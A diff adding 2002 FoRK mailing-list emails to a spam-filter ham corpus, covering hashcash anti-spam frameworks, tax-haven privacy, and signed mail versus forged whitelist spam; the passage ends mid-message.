(8.11.6/8.11.6) with ESMTP id g7BHplb08986 for ; + Sun, 11 Aug 2002 18:51:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1B4B6294183; Sun, 11 Aug 2002 10:48:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barry.mail.mindspring.net (barry.mail.mindspring.net + [207.69.200.25]) by xent.com (Postfix) with ESMTP id A0018294182 for + ; Sun, 11 Aug 2002 10:47:31 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + barry.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17dwpN-0008U1-00; + Sun, 11 Aug 2002 13:48:33 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net (Unverified) +Message-Id: +To: Digital Bearer Settlement List , fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: Fwd: [camram-spam] another framework hashcash related framework +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 13:36:31 -0400 + + +--- begin forwarded text + + +Date: Sun, 11 Aug 2002 13:02:48 +0100 +To: usual@espace.net +From: Fearghas McKay +Subject: Fwd: [camram-spam] another framework hashcash related framework +Reply-To: "Usual People List" +Sender: + + +--- begin forwarded text + + +Mailing-List: contact camram-spam-help@camram.org; run by ezmlm +X-No-Archive: yes +Reply-To: camram-spam@camram.org +Delivered-To: mailing list camram-spam@camram.org +Delivered-To: moderator for camram-spam@camram.org +Date: Fri, 2 Aug 2002 00:42:53 +0100 +From: Adam Back +To: CAMRAM +Cc: Adam Back +Subject: [camram-spam] another framework hashcash related framework + +There is a framework for using a hashcash like proof of work function +as a way to frustrate junk mailers in this paper: + +"Curbing Junk E-Mail via Secure Classification" + +by E. Gabber, M. Jakobsson, Y. Matias, A. Mayer Bell + +in FC98. + +Online copy here: + +http://citeseer.nj.nec.com/27735.html + +(Look in the view or download section at the top right, it's +availabile in at least .pdf and .ps formats). + +The framework they propose with proxies etc looks a lot like the +current camram architecture, with a proof of work to get on a white +list. They use target revokable email addresses (basically identical +to the LWPA concept) to implement the white list. + +The resulting framework is essentially identical to what I proposed in +recent message with: + +Subject: target revokable email addresses, and postage-free tokens + +Their idea of including the postage free-token in the email address, +mirrors what is done in LWPA and makes the system exhibit smoother +migration for non-users. eg. you can use varied sender addresses and +it will still work, you can forward the email address to someone else +and it will still work etc. + +They have some software architecture diagrams and suggestions for +installing some of the proxies on a corporate gateway -- "gatekeeper" +they call it. + +Adam + +--------------------------------------------------------------------- +To unsubscribe, e-mail: camram-spam-unsubscribe@camram.org +For additional commands, e-mail: camram-spam-help@camram.org + +--- end forwarded text + +--- end forwarded text + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01007.e75fc5e861b68023534c7bea20b326e6 b/bayes/spamham/easy_ham_2/01007.e75fc5e861b68023534c7bea20b326e6 new file mode 100644 index 0000000..b80da01 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01007.e75fc5e861b68023534c7bea20b326e6 @@ -0,0 +1,189 @@ +From fork-admin@xent.com Mon Aug 12 11:10:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 450FB44175 + for ; Mon, 12 Aug 2002 05:57:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BH9mb07952 for ; + Sun, 11 Aug 2002 18:09:50 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D0A9629417B; Sun, 11 Aug 2002 10:06:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp6.mindspring.com (smtp6.mindspring.com + [207.69.200.110]) by xent.com (Postfix) with ESMTP id 40836294177 for + ; Sun, 11 Aug 2002 10:05:43 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + smtp6.mindspring.com with esmtp (Exim 3.33 #1) id 17dwAo-0004T4-00; + Sun, 11 Aug 2002 13:06:38 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: cypherpunks@lne.com, fork@spamassassin.taint.org, nettime-l@bbs.thing.net, + irregulars@tb.tf +From: "R. A. Hettinga" +Subject: Re: [dgc.chat] free? +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 12:31:56 -0400 + + +--- begin forwarded text + + +Date: Sun, 11 Aug 2002 03:33:37 -0400 +To: +From: "R. A. Hettinga" +Subject: Re: [dgc.chat] free? +Cc: Digital Bearer Settlement List +Reply-To: + + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +At 3:36 PM +1000 8/11/02, David Hillary wrote: +> I think that tax havens such as the Cayman Islands should be ranked +> among the freest in the world. No taxes on business or individuals +> for a start. Great environment for banking and commerce. Good +> protection of property rights. Small non-interventionist +> government. + +Clearly you've never met "Triumph", the Fabulous Crotch-Sniffing +Caymanian Customs Wonder Dog at extreme close range, or heard the +story about the expat's college age kid, actually born on Cayman, who +was literally exiled from the island when the island constabulary +"discovered" a marijuana seed or three in his summer-break rental car +a few years back. + +I mean, his old man was some senior cheese at Global Crossing at the +time, but this was back when they could do no wrong. If that's what +they did to *his* kid, imagine what some poor former +junk-bond-hustler might have to deal with someday for, say, the odd +unauthorized Cuban nightlife excursion. A discretely folded twenty +keeps the stamp off your passport on the ground in Havana, and a +bottle of Maker's Mark goes a long way towards some interesting +nocturnal diversion when you get there and all, but still, you can't +help thinking that Uncle's going to come a-knockin', and that Cayman +van's going to stop rockin' some day, and when it does, it ain't +gonna be pretty. + + +Closer to home, conceptually at least, a couple of cryptogeeken were +hustled off and strip-searched, on the spot, when they landed on +Grand Cayman for the Financial Cryptography conference there a couple +of years ago. Like lots of cypherpunks, these guys were active +shooters in the Bay Area, and they had stopped in Jamaica, Mon, for a +few days on the way to Grand Cayman. Because they, and their stuff, +reeked on both counts, they were given complementary colorectal +examinations and an entertaining game of 20 questions, or two, +courtesy of the Caymanian Federales, after the obligatory fun and +games with a then-snarling Crotch-Sniffing Caymanian Wonder Dog. +Heck, I had to completely unpack *all* my stuff for a nice, well-fed +Caymanian customs lady just to get *out* of the country when I left. + + +Besides, tax havens are being increasingly constrained as to their +activities these days, because they cost the larger nation-states too +much in the way of "escaped" "revenue", or at least the perception of +same in the local "free" press. Obviously, if your money "there" +isn't exchangeable into your money "here", it kind of defeats the +purpose of keeping your money "there" in the first place, giving +folks like FinCEN lots of leverage when financial treaties come up +for renegotiation due to changes in technology, like on-line +credit-card and securities clearing, or the odd governmental or +quango re-org, like they are wont to do increasingly in the EU, and +the US. + +As a result, the veil of secrecy went in Switzerland quite a while +ago. The recent holocaust deposit thing was just the bride and groom +on that particular wedding-cake, and, as goes Switzerland, so goes +Luxembourg, and of course Lichtenstein, which itself is usually +accessible only through Switzerland. Finally, of course, the Caymans +themselves will cough up depositor lists whenever Uncle comes calling +about one thing or another on an increasingly longer list of fishing +pretexts. + +At this point, the "legal", state-backed pecuniary privacy pickings +are kind of thin on the ground. I mean, I'm not sure I'd like to keep +my money in, say, Vanuatu. Would you? Remember, this is a place where +a bandana hanging on a string across an otherwise public road will +close it down until the local erst-cannibal hunter-gatherer turned +statutorily-permanent landowner figures out just what his new or +imagined property rights are this afternoon. + + +The point is, any cypherpunk worth his salt will tell you that only +solution to financial or any other, privacy, is to make private +transactions on the net, cheaper, and more secure, than "transparent" +transactions currently are in meatspace. Then things get *real* +interesting, and financial privacy -- and considerably more personal +freedom -- will just be the icing on the wedding cake. Bride and +groom action figures sold separately, of course. + +Cheers, +RAH +(Who went to FC2K at the Grand Cayman Marriott in February that year. +Nice place, I liked Anguilla better though, at least at the time, and +I haven't been back to either since. The beaches are certainly better +in Anguilla, and the "private" banking system there is probably just +as porous as Cayman's is, by this point. If I were to pick up and +move Somewhere Free outside Your Friendly Neighborhood Unipolar +Superpower, New Zealand is somewhere near the top of my list, and +Chile would be next, though things change quickly out there in +ballistic-missile flyover country. In that vein, who knows, maybe +we're in for some kind of latter-day Peloponnesian irony, and +*Russia* will end up the freest place on earth someday. Stranger +things have happened in the last couple of decades, yes?) + +-----BEGIN PGP SIGNATURE----- +Version: PGP 7.5 + +iQA/AwUBPVYS48PxH8jf3ohaEQKwtgCgw/XSwzauabEP/8jDvUVk/rgFdroAn0xf +Owk90GoK+X5Pv+bGoKXCwzBK +=1w9d +-----END PGP SIGNATURE----- + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' + + +subscribe: send blank email to dgcchat-join@lists.goldmoney.com +unsubscribe: send blank email to dgcchat-leave@lists.goldmoney.com +digest: send an email to dgcchat-request@lists.goldmoney.com +with "set yourname@yourdomain.com digest=on" in the message body + +--- end forwarded text + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01008.9afe486d53adfdaf1e5d8efb47d0cba7 b/bayes/spamham/easy_ham_2/01008.9afe486d53adfdaf1e5d8efb47d0cba7 new file mode 100644 index 0000000..3c9c794 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01008.9afe486d53adfdaf1e5d8efb47d0cba7 @@ -0,0 +1,69 @@ +From fork-admin@xent.com Mon Aug 12 11:10:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B0AA144178 + for ; Mon, 12 Aug 2002 05:57:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BIimb10446 for ; + Sun, 11 Aug 2002 19:44:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5850C294188; Sun, 11 Aug 2002 11:41:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62]) + by xent.com (Postfix) with ESMTP id E1803294188 for ; + Sun, 11 Aug 2002 11:40:07 -0700 (PDT) +Received: from localhost ([24.61.140.132]) by sccrmhc02.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020811184111.HJKV221.sccrmhc02.attbi.com@localhost>; Sun, + 11 Aug 2002 18:41:11 +0000 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <1003227260.20020811144109@magnesium.net> +To: Eugen Leitl +Cc: fork@spamassassin.taint.org +Subject: Re[2]: Forged whitelist spam +In-Reply-To: +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 14:41:09 -0400 + +Hello Eugen, +EL> I believe I mentioned users can't be bothered to enter passphrases. That's +EL> what tokens are there for. At some point we can expect a convenient USB +EL> port on the keyboard, + +You mean like on mac keyboards :-) Or laptops (which are as damn +near close to keyboard/usb connection as one can get, without the real +thing) + +Sorry, couldn't help myself. + + +-- +Best regards, + bitbitch mailto:bitbitch@magnesium.net + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01009.49e0775eca368702b005aec33ae46943 b/bayes/spamham/easy_ham_2/01009.49e0775eca368702b005aec33ae46943 new file mode 100644 index 0000000..47126ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/01009.49e0775eca368702b005aec33ae46943 @@ -0,0 +1,75 @@ +From fork-admin@xent.com Mon Aug 12 11:10:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D27B044177 + for ; Mon, 12 Aug 2002 05:57:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BIUhb10146 for ; + Sun, 11 Aug 2002 19:30:44 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5C0C6294183; Sun, 11 Aug 2002 11:27:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 3AD9729417B for + ; Sun, 11 Aug 2002 11:26:26 -0700 (PDT) +Received: (qmail 18805 invoked by uid 508); 11 Aug 2002 18:27:29 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.56) by + venus.phpwebhosting.com with SMTP; 11 Aug 2002 18:27:29 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7BIRJ702286; Sun, 11 Aug 2002 20:27:24 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Russell Turpin +Cc: +Subject: Re: Forged whitelist spam +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 20:27:18 +0200 (CEST) + +On Sun, 11 Aug 2002, Russell Turpin wrote: + +> If you have a rogue app on your machine, what keeps it from sniffing +> your passphrase? This is one of the reasons I keep harping on the need + +As long as the OS doesn't give you a convenient GetPassPhrase() method +that threat model is theoretical. Worms are autonomous, and autonomous +worms are not that smart. + +However, that's the reason I mentioned crypto hardware (USB fobs, smart +cards, etc). + +> for thin, secure clients. + +While this is a good idea, the concept of security is holistic. It +involves a secure OS, secure apps, and crypto hardware. + +> When I read email, I want to respond to email, which means, were I +> using a digital signature, that it needs to be at the ready. + +I believe I mentioned users can't be bothered to enter passphrases. That's +what tokens are there for. At some point we can expect a convenient USB +port on the keyboard, or the video device front. Meanwhile, my Net PC +server sitting by the CRT with front USB ports will do. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01010.dfa0620ff611b92d4adb8a23ac2a0b7b b/bayes/spamham/easy_ham_2/01010.dfa0620ff611b92d4adb8a23ac2a0b7b new file mode 100644 index 0000000..ac59ac6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01010.dfa0620ff611b92d4adb8a23ac2a0b7b @@ -0,0 +1,68 @@ +From fork-admin@xent.com Mon Aug 12 11:10:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7A78044179 + for ; Mon, 12 Aug 2002 05:57:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:14 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BIvlb10821 for ; + Sun, 11 Aug 2002 19:57:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id AAEC32940CA; Sun, 11 Aug 2002 11:54:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 416582940C0 for + ; Sun, 11 Aug 2002 11:53:14 -0700 (PDT) +Received: (qmail 25246 invoked by uid 508); 11 Aug 2002 18:54:16 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.56) by + venus.phpwebhosting.com with SMTP; 11 Aug 2002 18:54:16 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7BIsA702924; Sun, 11 Aug 2002 20:54:12 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: +Cc: +Subject: Re[2]: Forged whitelist spam +In-Reply-To: <1003227260.20020811144109@magnesium.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 20:54:10 +0200 (CEST) + +On Sun, 11 Aug 2002 bitbitch@magnesium.net wrote: + +> You mean like on mac keyboards :-) Or laptops (which are as damn + +Yeah, I was thinking of the G4 keyboard when I wrote this. Otherwise lousy +feel and key placement, though. (That's why I'm holding on to my IBM Model +M Space Saver. Once I get an PS2 to USB converter, I expect it will +outlive several generations of computer hardware). + +Very good for sticking in USB fobs into, though. CRTs/LCD panels are even +better for that, though. + +> near close to keyboard/usb connection as one can get, without the real +> thing) + +I think laptops are largely useless because of the battery and the +keyboard issue. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01011.578a7409c22604161b103b2ffb80b44f b/bayes/spamham/easy_ham_2/01011.578a7409c22604161b103b2ffb80b44f new file mode 100644 index 0000000..2886db6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01011.578a7409c22604161b103b2ffb80b44f @@ -0,0 +1,92 @@ +From fork-admin@xent.com Mon Aug 12 11:11:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 52A684417A + for ; Mon, 12 Aug 2002 05:57:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BJNhb11429 for ; + Sun, 11 Aug 2002 20:23:44 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id ED823294188; Sun, 11 Aug 2002 12:20:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sccrmhc01.attbi.com (sccrmhc01.attbi.com [204.127.202.61]) + by xent.com (Postfix) with ESMTP id 173242940CA for ; + Sun, 11 Aug 2002 12:19:40 -0700 (PDT) +Received: from localhost ([24.61.140.132]) by sccrmhc01.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020811192044.WINC23732.sccrmhc01.attbi.com@localhost>; Sun, + 11 Aug 2002 19:20:44 +0000 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <275599992.20020811152042@magnesium.net> +To: Eugen Leitl +Cc: fork@spamassassin.taint.org +Subject: Re[3]: Forged whitelist spam +In-Reply-To: +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 15:20:42 -0400 + +Hello Eugen, + +Sunday, August 11, 2002, 2:54:10 PM, you wrote: + +EL> On Sun, 11 Aug 2002 bitbitch@magnesium.net wrote: + +>> You mean like on mac keyboards :-) Or laptops (which are as damn + +EL> Yeah, I was thinking of the G4 keyboard when I wrote this. Otherwise lousy +EL> feel and key placement, though. (That's why I'm holding on to my IBM Model +EL> M Space Saver. Once I get an PS2 to USB converter, I expect it will +EL> outlive several generations of computer hardware). + +EL> Very good for sticking in USB fobs into, though. CRTs/LCD panels are even +EL> better for that, though. + +>> near close to keyboard/usb connection as one can get, without the real +>> thing) + +EL> I think laptops are largely useless because of the battery and the +EL> keyboard issue. + +EL> http://xent.com/mailman/listinfo/fork + +Dunno.. Some of the new Sonys (I'm hunting again for a lappy, as the +Toshiba I have is a large piece of cow manure) which promise a 4 hour +battery life off of ONE battery are pretty damn impressive. As far as +the keyboard issue, the Toshiba actually came out with a good +keyboard, nearly equivalent to most standard keyboards (Not ergonomic, +alas, but I have a USB happy ergo keyboard I can always plug in if I +get restless). I can't imagine surviving at Law school without a +lappy, but thats just me. + +then again, I don't know what you do with your laptops, Gene :) + +-- +Best regards, + bitbitch mailto:bitbitch@magnesium.net + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01012.235d771c2e3094e4b4310a86ac7e7352 b/bayes/spamham/easy_ham_2/01012.235d771c2e3094e4b4310a86ac7e7352 new file mode 100644 index 0000000..96ba966 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01012.235d771c2e3094e4b4310a86ac7e7352 @@ -0,0 +1,101 @@ +From fork-admin@xent.com Mon Aug 12 11:11:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 149BE4417B + for ; Mon, 12 Aug 2002 05:57:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:17 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BLDpb14306 for ; + Sun, 11 Aug 2002 22:13:52 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3BADE294190; Sun, 11 Aug 2002 14:10:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 6510B29418F for + ; Sun, 11 Aug 2002 14:09:32 -0700 (PDT) +Received: (qmail 24843 invoked by uid 508); 11 Aug 2002 21:10:34 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.11) by + venus.phpwebhosting.com with SMTP; 11 Aug 2002 21:10:34 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7BLAUZ05996; Sun, 11 Aug 2002 23:10:30 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Gordon Mohr +Cc: fork +Subject: Re: Forged whitelist spam +In-Reply-To: <005301c24179$ac92b820$640a000a@golden> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 23:10:25 +0200 (CEST) + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +On Sun, 11 Aug 2002, Gordon Mohr wrote: + +> > Users don't like entering passphrases when sending email. USB fobs, smart +> > cards or other removable hardware are not yet widespread. +> +> Bad assumption. + +Not really. If code can sign stuff without me being aware of it that +pretty much invalidates the (already tenuous, since it assumes me trusting +the contents of the frame buffer) concept of a digital signature. + +A secure piece of hardware puts the keyring outside of any code's reach. +The key never leaves the hardware compartment. I have to mechanically +acknowledge a signing process. The cryto fob then falls back to the +default state: locked. + +> A reasonable UI would have me enter my passphrase *at most* each +> time I launch my mail program -- never more than once per day, +> sometimes once per week. + +I'm pretty comfortable with entering my passphrase every time. This is not +production key, as I usually access my home box via a SSH session, and SSH +sessions are easily attackable with a model of your typing pattern. So +don't expect me to announce my plutonium shipments via this medium. + +> For some of myy workstations, I'd even be happy with the necessary +> signing key being cached on disk, so signing is automatic when I +> hit 'send'. +> +> If spammer code can read my local hard disk, I have bigger problems +> than spoofed spam. + +I agree. Nevertheless, a number of people who use cryptography have their +machines compromised. + +- -- Eugen* Leitl leitl +______________________________________________________________ +ICBMTO: N48 04'14.8'' E11 36'41.2'' http://leitl.org +83E5CA02: EDE4 7193 0833 A96B 07A7 1A88 AA58 0E89 83E5 CA02 +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: For info see http://www.gnupg.org + +iD8DBQE9VtLFqlgOiYPlygIRAlRGAJ9MbPmjQESIqXD0g43aVgsLFcESSQCePf8x +smDzFndB40MbQMv0l3yzMoY= +=acss +-----END PGP SIGNATURE----- + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01013.79dbeaacd281776a5c429b70fed65af9 b/bayes/spamham/easy_ham_2/01013.79dbeaacd281776a5c429b70fed65af9 new file mode 100644 index 0000000..f4c8c4b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01013.79dbeaacd281776a5c429b70fed65af9 @@ -0,0 +1,76 @@ +From fork-admin@xent.com Mon Aug 12 11:11:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4026F440F3 + for ; Mon, 12 Aug 2002 05:57:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:57:16 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7BL0hb13882 for ; + Sun, 11 Aug 2002 22:00:44 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id F19F2294142; Sun, 11 Aug 2002 13:57:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id DBD24294136 for ; Sun, + 11 Aug 2002 13:56:12 -0700 (PDT) +Received: (qmail 75874 invoked from network); 11 Aug 2002 20:57:16 -0000 +Received: from adsl-66-124-225-210.dsl.snfc21.pacbell.net (HELO golden) + (66.124.225.210) by relay1.pair.com with SMTP; 11 Aug 2002 20:57:16 -0000 +X-Pair-Authenticated: 66.124.225.210 +Message-Id: <005301c24179$ac92b820$640a000a@golden> +From: "Gordon Mohr" +To: "fork" +References: +Subject: Re: Forged whitelist spam +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 11 Aug 2002 13:57:15 -0700 + +Eugen Leitl writes: +> On Sun, 11 Aug 2002, Gordon Mohr wrote: +> +> > If you crypto-sign your outgoing mail, you don't have to set your +> > mailwall whitelist to accept unsigned mail spoofed as being from you. +> +> Users don't like entering 